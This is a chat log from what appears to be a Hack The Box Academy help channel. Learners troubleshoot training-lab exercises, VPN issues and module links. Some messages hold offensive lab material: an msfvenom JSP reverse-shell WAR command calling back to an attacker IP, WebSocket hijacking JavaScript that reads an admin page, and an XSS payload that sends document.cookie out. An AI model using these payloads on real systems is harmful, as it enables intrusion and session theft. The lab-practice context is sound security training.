anytime, glad I could be of help

fathom pendant
fathom pendant
signal bane
fathom pendant
#

#community-content or perhaps #homelab-sysadm depending on the question but it helps to provide as much info about your situation instead of trying to solve a problem that might not need solving

brave field
#

Hi Guys! I need some help. I have made hyperlinks on a word doc to modules from HTB academy that the students can click on and access it, but when I click them they redirect me to my dashboard instead of the module. How to fix this? Thanks

dim wolf
#

can you give an example URL that you are using for the hyperlinks?

brave field
#

This is the one I am using for intro to academy

next bronze
#

that link is the module overview, you'll need the link from within the section

brave field
brave field
fathom pendant
#

not to mention if you're not set to remain signed in or some funky stuff goes on with the SSO it redirects to dashboard

brave field
#

yes, it's always redirecting to dashboard no matter what I do

fathom pendant
#

that's just the nature of how it's going to work

brave field
#

damn

next bronze
brave field
#

I tried with logged in account and as well logged out account, same results

#

redirects me to dashboard

next bronze
#

works for me

brave field
next bronze
#

yes

brave field
#

maybe I am doing something wrong

#

can you guide me with some steps would really appreciate it

next bronze
#

I just link it, that's it

fathom pendant
#
novel parrot
#

thank you

next bronze
#

it works the same clicking it from here and elsewhere

brave field
dim wolf
#

out of curiosity, are you logging in with Academy account or HTB account

brave field
#

academy account

dim wolf
#

not SSO?

next bronze
#

have you unlocked the module?

brave field
#

yes, it's unlocked

#

I can access it via browser but hyperlink redirects me to dashboard for some reason

fathom pendant
next bronze
fathom pendant
brave field
#

If it's not working for me then there's a possibility that it might not work for them as well.

next bronze
#

I'm sure your students will be able to navigate the website with the title even without a direct link

fathom pendant
#

yeah

next bronze
#

there's also a search all modules page

fathom pendant
#

if they're also subbed/enrolled in the CPTS path (if that's what you're following) then you don't really need to have them click anything

#

it'll literally be on their dashboard

#

though using HTB as your curriculum seems kinda odd to me Β―_(ツ)_/Β―

#

(unless it's an afterschool program)

sterile solstice
#

agreed. I've taught before, and while it was an unrelated field, I wouldn't structure my syllabus that way. also, have a look at all those modules. thats a lot for 1 week ....

fathom pendant
#

Yeah if you're basing it off the estimated time, you're gonna run into some troubles and struggles

sterile solstice
#

agreed. particularly if you are doing it all for the first time. if its a quick re-fresh then maybe it'd be ok. but still ... lol. context would be helpful though haha

spark spruce
#

Module - API Attacks

Section - Broken Authentication

I have brute forced pass as well as OTP , but nothing get in returns
hint is saying to focus on reset password

what am I missing ?

anybody help here>

opal hare
#

Hey guyz got a serious duacussion wanna join

cloud urchin
#

no thanks

opal hare
#

Please sirously need a help i am learning about it

cloud urchin
#

we're already here to discuss academy so no i don't want to join another one

wary plover
opal hare
#

Lets discuss here

wary plover
dim wolf
opal hare
#

Thx for help calculac0re

#

Just wanna know i want an best hacker community where i can communicate advanced ethical hackers ?

cloud urchin
#

this discord is about the hackthebox platform. discussions here are related to the website and services there.

opal hare
#

I asked for an better community

#

/rank

storm elk
cloud urchin
#

if you want education then you've reached the right place

opal hare
#

I just wanna communicate advanced ethical hackers to learn more

#

Where ?

cloud urchin
#

search for a group masterhackers

opal hare
#

Where

cloud urchin
#

they don't reveal their location but i suspect it's close to the gibson

storm elk
spark spruce
turbid hedge
wooden sparrow
#

Hey there!! Looking for some good resources and road map to learn finding SQL injection vulnerabilities.

cloud urchin
#

sql fundamentals module

wooden sparrow
#

Finished!!!

storm elk
wooden sparrow
#

Anthing out of hackthebox modules??

cloud urchin
#

yeah there's a few of them

storm elk
wooden sparrow
candid lily
#

may be a dumb question but why does 0.0.0.0 point to localhost

wraith pelican
fathom pendant
#

You can't technically go to 0.0.0.0 it'll just send you to the closest interface that's hosting that port (or localhost)

candid lily
#

so if i dont host anything on localhost, it will go to a random ip?

fathom pendant
#

No

#

It won't go outside local

candid lily
#

it seems to point exactly to 127.0.0.1

fathom pendant
wraith pelican
#

it is used when you are listening for an incoming connection from any IP address

#

but if you know the IP, you could set it. In real world it would be safer to not listen on any incoming address

fathom pendant
#

It technically can be localhost but you can't actually use it as localhost

candid lily
#

i guess in linux it is same as localhost

fathom pendant
wraith pelican
#

no, let say you host a http server, you can't get it by going to 0.0.0.0. I don't think so, i ll try

fathom pendant
wraith pelican
#

ah yeah you can get it from 0.0.0.0 as it points to localhost

candid lily
#

yea thats what am asking why

#

if i send request to 0.0.0.0 what makes it to send to 127.0.0.1

wraith pelican
candid lily
#

the source of ip is also 127.0.0.1

fathom pendant
#

My suggestion: stop worrying about it

#

As you'll never need to care about it

wraith pelican
candid lily
#

its always good idea to dig deep to unlock more knowledge

fathom pendant
#

It's a special reserved address that serves a different function to loopback

candid lily
#

but it doesnt act so when used by client

fathom pendant
#

sigh

#

Either way it doesn't belong in this channel

candid lily
#

got this doubt from ssrf section in modern web techniques

fathom pendant
#

Well you didn't preface that did you

#

But either way, you wouldn't use 0.0.0.0

#

Even though if looks like it's doing the same thing, it's not

#

And it's honestly not worth spending time and effort digging into

stark lark
spark spruce
tawdry flume
#

HI! I am doing the Getting started module. Nevertheless, I am presented at some point with some boxes. I don't know if I should do them, or they are just a heads-up of what's coming next

#

For example, they mention there 'Nibbles', but that box is part of the Getting Started module.

So I don't know if I should do them on my own, or they will be included in next modules

sterile solstice
#

you're not expected to do them now.

#

you'll come across nibbles and blue during some modules

#

i only recently did some boxes when i got to 75% of the CPTS pathway, and still needed some nudges here and there. so don't worry about boxes yet, unless you're already confident. you can always try them, and then stop when you're stuck.

tawdry flume
#

Got it, ok, thanks a lot!

spark spruce
candid lily
#

btw checkout burpsuite turbo intruder, it can bruteforce this in few seconds

stark lark
#

Just tried resetting the lab, but having issues brute forcing FTP.. what could cause this?

cloud urchin
#

well, the error says it's not an ftp protocol

candid lily
#

what is this process listening on port 53

cloud urchin
#

prob dns?

candid lily
#

i want to bind a dns to port 53 but this causes address in use

stark lark
cloud urchin
#

you'd be better off asking for help on the question

#

like which module/section/question are you stuck on

#

you may be doing something totally wrong but we have no context

stark lark
candid lily
#

uhh he asks you to mention the module and section lol not the channel

#

eeee how to kill this, it has no pid

stark lark
candid lily
#

i need to host a fake dns

wraith pelican
stark lark
candid lily
#

nvm i will just use pwnbox πŸ˜₯

wraith pelican
stark lark
candid lily
#

i cant use pwnbox and vpn at same time?

wraith pelican
# stark lark No problem, appreciate your effort :-)

I guess it is just the very verbose output that throws errors we would not see otherwise. And maybe the -t48 is too much. Default is 16 so… and last thing I’m not sure I retrieve the password via ftp iirc.

clever topaz
#

after granting admin access still cant change permission of file

#

in DNS admin section, tried evilrm pth but not authorized

candid lily
#

did you add yourself to Administrators group?

candid lily
#

try to restart the machine with shutdown /r @clever topaz

sacred ermine
candid lily
#

group changes in windows only apply after restart i guess

candid lily
#

im pretty sure restart will work

cloud urchin
#

i don't recall ever having to use icacls in htb so you're probably not going about something the right way

clever topaz
clever topaz
candid lily
#

ok then try to get a reverse shell

clever topaz
#

i got admin hash but pth way is not possible

candid lily
#

why not a rev shell

clever topaz
#

lemme try

cloud urchin
#

show me net group "Domain Admins" /dom

candid lily
#

yep i checked my notes, i have used revshell aswell

clever topaz
#

but domain admin doesnt mean u can read the flag right

clever topaz
cloud urchin
#

domain admin can do whatever it wants

clever topaz
#

i tried jn with domain admin but still access denied

cloud urchin
#

what are the results of the command

candid lily
#

the group changes only apply after restart

#

so its better to get revshell

clever topaz
cloud urchin
#

then something is seriously wrong with the instance if you can't even run the net command

clever topaz
#

bro i cant do type function not net function.... i cant cat the flag.txt

cloud urchin
#

ok well when you want help answer my question, but i'm going to bed soon

clever topaz
#

i literally said, i added into both local admin and domain admin but still cant change the ownership of the file to read, as vigneswara said, maybe it take effect only on restart

cloud urchin
#

why ask for help if you don't take it

#

the results of the command i told you to show are absolutely critical

clever topaz
#

wdym.... u just ask me to do net group "Domain Admins" /dom?

#

and yes the result is netadm is added into the group

candid lily
#

and load it with dnscmd

clever topaz
#

ok thanks

cloud urchin
#

if you added yourself to domain admins, you can read the flag. you refuse to show the screenshot of the command so i'm guessing you didn't actually add yourself.

clever topaz
#

lmao

#

imagine how i add myself into local admin

#

because i can only load one dll once only, if i load second time it will show error

#

i lazy to respawn machine just to show ur screenshot, just be nice thanks

cloud urchin
#

it's taking you over 15 mins to type net group "Domain Admins" /dom and show a screenshot bruh

clever topaz
#

imagine if example show us to add into domain admin but i add netadm into localadmin, its because ive tried domain admin and it doesnt work

#

not here to fight so bye

cloud urchin
#

yeah and that isn't going to work

#

you need to be domain admin

oak girder
#

Hello

clever topaz
#

i can only load one dll per machine spawn idk why

#

solved

spark spruce
candid lily
#

maybe you need to login with a different credential?

spark spruce
candid lily
#

sms opt is the right endpoint

spark spruce
#

you means sending too many request?

candid lily
#

yea

candid lily
spark spruce
spark spruce
acoustic owl
spark spruce
candid lily
acoustic owl
spark spruce
#

I have read that it could lead to Dos attack

candid lily
#

so straight forward exercises

spark spruce
spark spruce
candid lily
#

im just going randomly

#

i didnt finish API Atacks btw only upto that one

candid lily
#

i mean no one would expect dos to give flag ( if not specified in context )

acoustic owl
#

There are vulnerable APIs for training. They also offer such vulnerabilities
I was not surprised to find it here

spark spruce
acoustic owl
spark spruce
#

this section recommends to use clamAV antivirus
is it better then mcAfee or total security

spark spruce
acoustic owl
spark spruce
clever topaz
#

Because rev shell doesn’t spawn shell

acoustic owl
# spark spruce for a normal PC user

Windows? MacOS? Linux?
Do you want to install software on your PC that requires very extensive system rights?
There are reasons that speak for it and there are reasons that speak against it.

spark spruce
candid lily
#

windows defender ftw

#

just dont download any programs that windows defender blocks

spark spruce
acoustic owl
#

I personally only use Windows Defender

spark spruce
#

sure it is

limpid hemlock
#

Hey im going through cpts modules and in the active directory section the Dc sync part im trying to solve the lab but i cant seem to solve it im stuck i rdp into windows and from there i try to do the secretsdump and all nothing seems to work

candid lily
#

what section

#

and module

limpid hemlock
#

Dc sync module from active directory section

candid lily
#

run secretsdump from attacker machine

limpid hemlock
#

I cant ssh into the atacker machind from the windows machine im rdp'd into currently

candid lily
#

why you cant ssh

#

can you show ss of error message

limpid hemlock
#

I use the creds given to ssh into 172.16.5.225 at the above

#

But cant ssh into it

candid lily
#

what credentials did you use

#

username is htb-student

limpid hemlock
#

Yes and password Htb_@cadmey

#

That one

candid lily
#

i think the password is Academy_Studrnt something

limpid hemlock
#

That is for the rdp windows machine

#

To ssh into linux one its a different password

candid lily
#

i dont remember but in my notes i have screenshot of logging in to ssh

candid lily
kind turret
#

these are spoilers

#

delete them please

candid lily
#

oh okay

limpid hemlock
#

Its already given in the module the password and all

candid lily
#

you should be able to ssh then

limpid hemlock
#

Nop

candid lily
#

you could also use mimikatz.exe but i dont understand why you cant ssh

kind turret
#

Enterprises, especially Email providers, use it scan attachments in emails

#

If your API deals with file uploads, then using ClamAV will help you determine whether its malicious or not

limpid hemlock
#

Mmm

kind turret
#

Plus the deamon can fetch the updated database from Cisco any time using incremental updates

limpid hemlock
next bronze
#

instead of just saying it doesn't work why don't you provide some error messages that you ran into

limpid hemlock
#

I typed ssh htb-student@172. 16.5.225

#

And enterd both Htb_@cademy one and Academy student one

next bronze
#

that's not the right ip you should ssh into

limpid hemlock
#

Passwords to try both failed

next bronze
#

it's not even in the same subnet as your own machine

limpid hemlock
#

I tired 10.129. One also

#

Initialy i tried with that and didn work

next bronze
#

for the targets you're given 2 ips, ACADEMY-EA-ATTACK01 is the attack host

limpid hemlock
#

Thats why i tried using this also as it was mentioned in the module

next bronze
#

I just tested it and it workshtb-student:HTB_@cademy_stdnt!

limpid hemlock
#

I tried

#

But not working

next bronze
#

you probably typed the user or password wrong then

candid lily
#

can you show a screenshot

limpid hemlock
#

No permisin to share images

candid lily
#

dm it then

#

have you verified if copy pasting works properly

jolly yacht
#

i tried to edit the resolv.conf file for mentioning dns server for my lxc container but if i tried to change it , it revealing my host information like shown in the screenshot. its wierd, any info regarding this guys like why is it showing like this and how can i prevent it ?

#

this is from the lxc container, its revealing my host system info

ember fern
#

In the Skills Assessment - File Inclusion section of the File Inclusion module, I get a very weird bug - my php payload for phpinfo() succeeds perfectly, but any other fails and also makes the ||log|| file completely unusable. Is this a me issue?

#
  • appears to be an issue with quotes, no idea why
#

got it working without them 😎

candid lily
#

uh why are you doing file inclusion module now lol

next bronze
spark spruce
jolly yacht
#

The problem is its showing my Host user info, i dont know why. its wierd

next bronze
#

so is the issue solved? check the dir of viminfo, it's some kind of conflict

tranquil axle
#

@next bronze did you end up managing to access the wsus host in the new lateral movement module?

next bronze
#

nope still waiting for them to fix it

#

unless I did something wrong, you can try it yourself

tranquil axle
#

I tried the obvious options but it didn't work for me either so I looked it up here and saw you had the same issue

next bronze
#

ah ok I'm not the only one then, yeah I just skipped it

tranquil axle
#

yea, no rush for now

candid lily
#

isnt it like a old module

worn matrix
#

can someone give me an advice.I just reached 500 cubes.What module should i geT?

uncut cave
#

Hi ya, for ADCS Attacks Module, Certifried section, I'm getting KDC_ERR_PADATA_TYPE_NOSUPP error when trying to get the NTLM hash of DC02$ account via certificate auth, has any encountered this issue before ? Nothing was mentioned in this section regarding the error.

next bronze
next bronze
worn matrix
uncut cave
#

I have followed the exact steps in the section

next bronze
uncut cave
#

can you check if you get the same error if you have the module ?

next bronze
#

yeah in a couple of mins

candid lily
#
let xhr = new XMLHttpRequest();
xhr.open('GET', 'http://' + location.host + '/admin');
xhr.send();
let sock = new WebSocket('ws://' + location.host + '/adminws');
sock.addEventListener('open', () => { sock.send(xhr.responseText); sock.close() });
#

i tried to exploit a xss in websocket but the request keeps repeating

uncut cave
thorn hawk
#

hey amigos. When you start a php web server. If you write a code at index.php at the same folder you started the php web server. Does this index.php will be used when data are incoming or outgoing?

#

is this automatic?

candid lily
#

i tried it locally and it keeps spamming why

#

ahh if i send payload once why does it multiple

spark spruce
candid lily
#

then do whitebox attacks i guess

stark lark
# fathom pendant Ftp will be your next step

Are you sure this is it? Without hinting too much.

I tried brute forcing both f.... account, F.... and f....@inlanefreight.htb for FTP.

I also tried brute forcing SMTP (unencrypted) and RDP. Brute forcing MySQL gave me a lot of errors and increasing delay etc didn't work.

oak girder
#

Hello everyone, I have a question. The automatic deployment of tomcat is very simple in theory. Why do I use (msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.xx LPORT=4443 -f war > backup.war ) will interrupt the connection on the generated war deployment.

oak girder
#

There is no problem in my local reproduction, according to the method of the article

#

I used docker and there was no problem in deploying the war package normally without modifying anything.

#

Well, I tried a few more times and he got better again.

next bronze
next bronze
worn matrix
#

is anyone else have big problems with vpn?i cant study

pseudo kiln
#

Currently at the latter part of AD Assessment 2, cannot get this to work
||I am trying to poison with Inveigh on MS01 with the discovered account that has local admin rights on the machine.||
||Command runs, but I have been waiting for a while and did not get any NTLM hashes back so far. Anyone has any clue what I could be doing wrong ? ||

pseudo kiln
pseudo kiln
#

makes sense now, cheers

worn matrix
#

i really cant login to the same machine as you xoriath ;p

#

vpn doesnt let me

#

send me the cleartext pass 🀣

pseudo kiln
#

EU4 is the VPN, not a machine

worn matrix
#

..

#

ik dude,i am doing the same module as you,i am just saying

pseudo kiln
#

ah I see, it can be pretty slow then yeah, try not to use psexec or any impacket tool for getting a shell

worn matrix
#

i cant even join to VPN,it fails

wraith pelican
# stark lark Are you sure this is it? Without hinting too much. I tried brute forcing both f...

i see in my notes ftp did not work to get the password, but i've read in htb forum iirc, that people got it via ftp. The password is nearly at the beginning of the wordlist, if it still the same, so maybe recheck your settings, brute force slower and restart the target. And I found this article related to the error you posted previously:
https://www.jscape.com/blog/protecting-ftp-passwords-from-brute-force-attacks

JSCAPE

Learn exactly how hackers can exploit weak passwords on your FTP server and how to protect yourself against brute force password attacks. Read more at JSCAPE.

stark lark
candid lily
#

if i try it locally, it repeatedly sends the message but on target i get no reply

#

also if i open multiple userws and send message from admin, who will receive the message

next bronze
#

send it to the admin, admin has the flag not the user

candid lily
#

i sent it to admin only, i get no reply

#

when i do the same locally, i get infinite replies

#

on remote no reply

next bronze
#

yeah then you need to find a way to get admin to reply with the flag

#

check the source code and the hint

candid lily
#

i tried ||<img src="http://asdasd" onerror="socket.send(document.cookie);">||

#

im pretty sure this is supposed to work, but idk why it doesnt work

candid lily
next bronze
#

maybe don't use a url

candid lily
#

oooh

candid lily
#

if the firewall blocked the url, it will still result in error and the payload should be triggered right

ember fern
#

now stuck on Information Gathering - Web Edition though, because I can't crawl either of the domains

#

they are the most barren things I have ever seen

rustic sage
#

how to solve enumeration with nmap's module's medium lab?

#

i tried almost everything

--script dns-nsid

-sUV

-sSU

--packet--trace

-D RND:4

--source-port 53

#

2-4 years old posts of the internet show the answer after writing simple stuff like sudo nmap -A ip, and when i try the same i dont get the answer, i also tried ip spoofing but nmap throwed an error that i couldnt route to target(i checked subnets and i dont thinks its the problem)

candid lily
#

"Due to browsers' default behavior of theΒ SameSiteΒ cookie attribute, exploitation of CSWH vulnerabilities becomes increasingly more challenging."

why

#

to open websocket, get requests were used, and samesite lax doesnt prevent cookies from being sent on get requests right?

#

nvm it does prevent

dusky gyro
ember fern
#

they are the most barren things I have ever seen

#

unless there is a 3rd

dusky gyro
ember fern
#

yes

dusky gyro
#

there is no third

#

should be two subdomains

ember fern
#

yup got those

#

and the second has the epic file that gets me the admin portal

fathom pendant
ember fern
dusky gyro
ember fern
rustic sage
#

do i still try with pwnbox?

stark lark
fathom pendant
midnight granite
#

I was stuck bruteforcing OTP in api attacks broken authentication. Can anyone help me?

fathom pendant
#

Try reconnecting to the vpn or changing vpn regions

soft reef
fathom pendant
#

?

next bronze
fathom pendant
#

^

zenith vale
#

can someone help me out in the LFI php wrappers?

fathom pendant
#

Just ask your question

zenith vale
#

well im tryna do as explained regarding the expect wrapper and it doesnt seem to work

#

not via curl or also via the page source

#

checked its availability, and as explained the expect:// should work and recieve commands as they are, i tried basic url encoding aswell for the commands chaining but i dont see it anywhere

fathom pendant
stark lark
fathom pendant
#

I just dropped all the way down to 1 and it works

stark lark
#

Let me try

fathom pendant
#

@stark lark

#

no error

wraith pelican
stark lark
fathom pendant
#

short answer was keep going lower

stark lark
wraith pelican
#

rockyou

fathom pendant
#

i used rockyou (it's pretty high up)

stark lark
#

I'm furios :P

fathom pendant
#

because it literally works fine on my machine

stark lark
#

I switched from vm to pwnbox

fathom pendant
#

yes but is the vpn still running on your vm

#

is my question

stark lark
#

Yup

fathom pendant
#

then that's also why you're getting errors

#

you can't have both the vpn and the pwnbox running

stark lark
#

Even though I'm not requesting anything to the target server?

fathom pendant
#

yes

#

the vpn assigns the same internal IP

#

if you check ip a for both; it gives the same internal 10.10.x.x IP, which causes collisions as it doesn't know where to route

stark lark
#

Got it now...... Didn't know about the vpn stuff.

zenith vale
#

i guess i need to validate my accound to send printscreens

stark lark
#

Thanks for the help!

wraith pelican
fathom pendant
stark lark
#

YES

wraith pelican
#

haha sure

stark lark
#

Kinda afraid to fall into such a pit during the exam

fathom pendant
#

do it just like the forefathers did kek

midnight granite
fathom pendant
wraith pelican
#

on stone keyboards

fathom pendant
#

if you note down what caused you frustration -- you're less likely to repeat the mistake

stark lark
#

I will

fathom pendant
#

or even the memory of the frustration will lead you to "what did I do last time?"

wraith pelican
#

i think you should try to get it with ftp as it works for marcie, but like i said earlier, i didn't get it via ftp...

stark lark
#

Now on my VM when I try to reconnect VPN it won't let me.. (after terminating attackbox) Do I need to do anything or just wait a little?

fathom pendant
#

"it won't let you" error?